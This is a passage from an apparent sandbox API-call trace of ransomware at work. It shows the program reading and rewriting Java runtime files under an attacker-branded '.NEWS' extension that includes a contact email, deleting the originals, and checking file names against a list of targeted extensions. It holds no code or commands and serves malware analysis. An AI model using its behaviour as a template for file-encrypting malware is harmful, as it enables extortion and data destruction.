lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xfa, lpOverlapped=0x0) returned 1 [0091.354] SetEndOfFile (hFile=0x398) returned 1 [0091.354] CloseHandle (hObject=0x398) returned 1 [0091.354] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.354] SetEndOfFile (hFile=0x33c) returned 1 [0091.359] CloseHandle (hObject=0x33c) returned 1 [0091.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.359] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 1 [0091.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.360] lstrlenW (lpString=".doc") returned 4 [0091.360] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.360] lstrlenW (lpString=".docx") returned 5 [0091.360] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0091.360] lstrlenW (lpString=".pdf") returned 4 [0091.360] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.360] lstrlenW (lpString=".xls") returned 4 [0091.360] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.360] lstrlenW (lpString=".xlsx") returned 5 [0091.360] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0091.360] lstrlenW (lpString=".ppt") returned 4 [0091.360] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.360] lstrlenW (lpString=".zip") returned 4 [0091.360] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.360] lstrlenW (lpString=".rar") returned 4 [0091.360] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.360] lstrlenW (lpString=".bz2") returned 4 [0091.360] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.360] lstrlenW (lpString=".7z") returned 3 [0091.360] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.360] lstrlenW (lpString=".dbf") returned 4 [0091.360] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.360] lstrlenW (lpString=".1cd") returned 4 [0091.360] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.360] lstrlenW (lpString=".jpg") returned 4 [0091.360] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.361] lstrlenW (lpString=".doc") returned 4 [0091.361] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.361] lstrlenW (lpString=".docx") returned 5 [0091.361] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0091.361] lstrlenW (lpString=".pdf") returned 4 [0091.361] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.361] lstrlenW (lpString=".xls") returned 4 [0091.361] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.361] lstrlenW (lpString=".xlsx") returned 5 [0091.361] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0091.361] lstrlenW (lpString=".ppt") returned 4 [0091.361] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.361] lstrlenW (lpString=".zip") returned 4 [0091.361] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.361] lstrlenW (lpString=".rar") returned 4 [0091.361] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.361] lstrlenW (lpString=".bz2") returned 4 [0091.361] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.361] lstrlenW (lpString=".7z") returned 3 [0091.361] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.361] lstrlenW (lpString=".dbf") returned 4 [0091.361] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.361] lstrlenW (lpString=".1cd") returned 4 [0091.361] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0091.361] lstrlenW (lpString=".jpg") returned 4 [0091.361] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.361] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0091.362] lstrlenW (lpString="jjs.exe") returned 7 [0091.362] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0091.362] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=15936) returned 1 [0091.362] CloseHandle (hObject=0x33c) returned 1 [0091.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20 [0091.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.363] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0091.363] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.363] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.363] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0091.363] GetLastError () returned 0x0 [0091.363] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x3e40, lpOverlapped=0x0) returned 1 [0091.365] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x3e50, lpOverlapped=0x0) returned 1 [0091.366] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.366] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe2, lpOverlapped=0x0) returned 1 [0091.366] SetEndOfFile (hFile=0x398) returned 1 [0091.366] CloseHandle (hObject=0x398) returned 1 [0091.366] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.366] SetEndOfFile (hFile=0x33c) returned 1 [0091.367] CloseHandle (hObject=0x33c) returned 1 [0091.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.367] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 1 [0091.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.368] lstrlenW (lpString=".doc") returned 4 [0091.368] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.368] lstrlenW (lpString=".docx") returned 5 [0091.368] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0091.368] lstrlenW (lpString=".pdf") returned 4 [0091.368] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.368] lstrlenW (lpString=".xls") returned 4 [0091.368] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.368] lstrlenW (lpString=".xlsx") returned 5 [0091.368] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0091.368] lstrlenW (lpString=".ppt") returned 4 [0091.368] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.368] lstrlenW (lpString=".zip") returned 4 [0091.368] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.368] lstrlenW (lpString=".rar") returned 4 [0091.368] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.368] lstrlenW (lpString=".bz2") returned 4 [0091.368] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.368] lstrlenW (lpString=".7z") returned 3 [0091.368] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.368] lstrlenW (lpString=".dbf") returned 4 [0091.368] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.368] lstrlenW (lpString=".1cd") returned 4 [0091.368] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.369] lstrlenW (lpString=".jpg") returned 4 [0091.369] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.369] lstrlenW (lpString=".doc") returned 4 [0091.369] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.369] lstrlenW (lpString=".docx") returned 5 [0091.369] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0091.369] lstrlenW (lpString=".pdf") returned 4 [0091.369] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.369] lstrlenW (lpString=".xls") returned 4 [0091.369] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.369] lstrlenW (lpString=".xlsx") returned 5 [0091.369] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0091.369] lstrlenW (lpString=".ppt") returned 4 [0091.369] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.369] lstrlenW (lpString=".zip") returned 4 [0091.369] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.369] lstrlenW (lpString=".rar") returned 4 [0091.369] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.369] lstrlenW (lpString=".bz2") returned 4 [0091.369] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.369] lstrlenW (lpString=".7z") returned 3 [0091.369] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.369] lstrlenW (lpString=".dbf") returned 4 [0091.369] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.369] lstrlenW (lpString=".1cd") returned 4 [0091.369] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0091.369] lstrlenW (lpString=".jpg") returned 4 [0091.370] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.370] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.370] lstrlenW (lpString="jli.dll") returned 7 [0091.370] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0091.370] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=174656) returned 1 [0091.370] CloseHandle (hObject=0x33c) returned 1 [0091.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20 [0091.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.370] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0091.370] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.370] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.370] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0091.371] GetLastError () returned 0x0 [0091.371] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x2aa40, lpOverlapped=0x0) returned 1 [0091.375] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x2aa50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2aa50, lpOverlapped=0x0) returned 1 [0091.378] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.378] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe2, lpOverlapped=0x0) returned 1 [0091.378] SetEndOfFile (hFile=0x398) returned 1 [0091.378] CloseHandle (hObject=0x398) returned 1 [0091.378] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.378] SetEndOfFile (hFile=0x33c) returned 1 [0091.380] CloseHandle (hObject=0x33c) returned 1 [0091.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.380] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 1 [0091.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.380] lstrlenW (lpString=".doc") returned 4 [0091.380] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.380] lstrlenW (lpString=".docx") returned 5 [0091.380] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0091.380] lstrlenW (lpString=".pdf") returned 4 [0091.380] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.380] lstrlenW (lpString=".xls") returned 4 [0091.380] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.380] lstrlenW (lpString=".xlsx") returned 5 [0091.380] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0091.381] lstrlenW (lpString=".ppt") returned 4 [0091.381] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.381] lstrlenW (lpString=".zip") returned 4 [0091.381] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.381] lstrlenW (lpString=".rar") returned 4 [0091.381] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.381] lstrlenW (lpString=".bz2") returned 4 [0091.381] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.381] lstrlenW (lpString=".7z") returned 3 [0091.381] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.381] lstrlenW (lpString=".dbf") returned 4 [0091.381] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.381] lstrlenW (lpString=".1cd") returned 4 [0091.381] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.381] lstrlenW (lpString=".jpg") returned 4 [0091.381] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.381] lstrlenW (lpString=".doc") returned 4 [0091.381] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.381] lstrlenW (lpString=".docx") returned 5 [0091.381] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0091.381] lstrlenW (lpString=".pdf") returned 4 [0091.381] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.381] lstrlenW (lpString=".xls") returned 4 [0091.381] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.381] lstrlenW (lpString=".xlsx") returned 5 [0091.381] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0091.381] lstrlenW (lpString=".ppt") returned 4 [0091.381] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.382] lstrlenW (lpString=".zip") returned 4 [0091.382] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.382] lstrlenW (lpString=".rar") returned 4 [0091.382] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.382] lstrlenW (lpString=".bz2") returned 4 [0091.382] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.382] lstrlenW (lpString=".7z") returned 3 [0091.382] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.382] lstrlenW (lpString=".dbf") returned 4 [0091.382] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.382] lstrlenW (lpString=".1cd") returned 4 [0091.382] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46 [0091.382] lstrlenW (lpString=".jpg") returned 4 [0091.382] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.382] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.382] lstrlenW (lpString="jp2iexp.dll") returned 11 [0091.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0091.382] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=296000) returned 1 [0091.382] CloseHandle (hObject=0x33c) returned 1 [0091.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20 [0091.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0091.383] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.383] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0091.383] GetLastError () returned 0x0 [0091.383] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x48440, lpOverlapped=0x0) returned 1 [0091.644] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x48450, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x48450, lpOverlapped=0x0) returned 1 [0091.650] ReadFile (in: hFile=0x33c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.650] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xea, lpOverlapped=0x0) returned 1 [0091.650] SetEndOfFile (hFile=0x398) returned 1 [0091.948] CloseHandle (hObject=0x398) returned 1 [0091.948] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.948] SetEndOfFile (hFile=0x33c) returned 1 [0091.951] CloseHandle (hObject=0x33c) returned 1 [0091.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.951] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 1 [0092.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.302] lstrlenW (lpString=".doc") returned 4 [0092.302] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.302] lstrlenW (lpString=".docx") returned 5 [0092.302] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0092.302] lstrlenW (lpString=".pdf") returned 4 [0092.302] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.303] lstrlenW (lpString=".xls") returned 4 [0092.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.303] lstrlenW (lpString=".xlsx") returned 5 [0092.303] lstrcmpiW (lpString1=".xlsx", 